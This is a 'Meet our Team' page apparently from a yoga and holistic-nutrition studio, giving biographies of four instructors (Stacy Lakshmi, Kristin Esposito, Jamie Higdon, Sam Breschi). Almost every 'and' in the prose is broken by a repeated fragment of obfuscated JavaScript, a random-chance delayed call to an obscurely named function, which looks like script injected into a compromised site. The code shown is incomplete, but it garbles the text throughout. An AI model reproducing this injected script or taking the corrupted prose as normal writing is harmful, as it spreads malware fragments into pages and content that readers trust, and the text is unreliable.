Meet our Team

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Stacy Lakshmi, Founder & Creative Director, CNC, RYT

As a Holistic Health Counselor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Registered Yoga Instructor Stacy’s passion for nutrition, yoga, pranayama (breathwork) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Ayurveda philosophy fuel her personal goal to inspire transformation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and optimal health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wellness in everyone who crosses her path. A true student for life, she continues to expandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and her knowledge in Ayurveda andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Eastern philosophy with annual training programs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and trips to India, as well as numerous continuing education programs at home in the US andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and around the globe. When working with clients, Stacy combines her western nutrition studies with her studies of Ayurveda to create a wellness platform through holistic nutrition, yoga, coaching, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and preventative care. She specializes in the areas of food allergies, intolerances andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and digestive disorders.

Stacy’s yoga journey began in 1998 when trying to recover from years of sports related injuries. Desperate to find an alternative to surgery she turned to yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and very quickly discovered the importance of the whole body-mind connection. Her new passion andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lifestyle changes took her on her first pilgrimage to India to study yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and completed her first yoga teacher training in Ashtanga.  She currently teaches a Vinyasa Fusion, Ashtanga, Quantum Yoga, Integrative Yoga Therapy, Yin Yoga, Yoga for your Dosha, Restorative, Pranayama andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Meditation. Stacy strives to guide her students on a journey of awakening their full potential while cultivating strength, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and embodying awareness. Her classes focus on breath-synchronized movement, artistic expression andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and flow, proper alignment andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and philosophies drawn from eastern andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and western culture.

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Kristin Esposito, CHHC, RYT

Kristin Esposito is a yoga instructor, writer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wellness consultant. She finds yoga, writing, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and food an amazing outlet to explore her passions of cooking andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and artistic self-expression. Her teachings thoughtfully combine yogic philosophy, nutrition, anatomy, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and playful self-exploration as a means to inspire a life full of health, happiness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mindful indulgences. Kristin has been practicing yoga for eight years andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and uses her personal practice to continuously expandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and her awareness of all that yoga has to offer. Certified in Vinyasa andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on the path of Bhakti yoga her theme-based classes help students cultivate a deeper connection to their heart-center ultimately empowering a life filled with love, laughter, devotion, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and compassion. Kristin currently splits her time between Brooklyn, NY, Annapolis, MD andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and globetrotting adventures. When not in the studio or furiously meeting deadlines can be found running the streets andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bridges of Manhattan. For tales andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and snippets all things yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and food-related check out her blog, Mindful Muse.

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Jamie Higdon, CNC, RYT

Jamie Higdon is a RYT Yoga Alliance certified yoga instructor specializing in yin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vinyasa yoga. Jamie completed her training at Evolutions Body Clinic in Annapolis, MD, with teacher Tina Lanzoni. In addition to teaching yoga, Jamie is also a certified nutritional consultant (CNC) through the American Association of Nutritional Consultants.  After correcting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and healing personal health issues through yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nutrition, Jamie truly believes that the health of mind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and body go handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and. A firm believer in finding proper health through a holistic approach, she incorporates a well-rounded physical, mental, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nutrition program that not only aids in her personal goal of achieving a healthy life-style but that of her clients as well.

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Sam Breschi, RYT

Sam was first introduced to yoga as a student at James Madison University andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and began practicing, as a means to explore the endless possibilities yoga has to offer in regards to physical endurance, spirituality, flexibility andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and self-motivation. Growing up Sam struggled with weight management andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and flexibility making it difficult to advance his athletics in football andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lacrosse. Yoga not only helped Sam overcome his struggles but also enhanced his athletic endeavors. While experiencing the physical benefits yoga has to offer Sam also found the spiritual teachings rewarding ultimately leading him to find a deeper mind-body connection andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and internal balance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and peace. His results were instantaneous andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and transforming thus sparking andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inspiring Sam to pursue a yoga teacher training in 2009. Trained under Sid McNairy’s Lifeline Power Yoga, a Baptiste affiliated studio, Sam is now a registered yoga instructor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and teaches a vigorous flow with a heavy reliance on breath cues, physical stamina andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thoughtful sequencing to encourage a meditative state.

Sam spends much of his time in pursuit of yoga inspiration both on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and off his mat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when not practicing or traveling to andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and from a yoga studio, you can find Sam paddling on the Severn River, indulging in coffee andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a good read or watching ESPN Sports Center. It’s Sam hope that a piece of yoga can make it out to all those searching for inner peace andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and balance.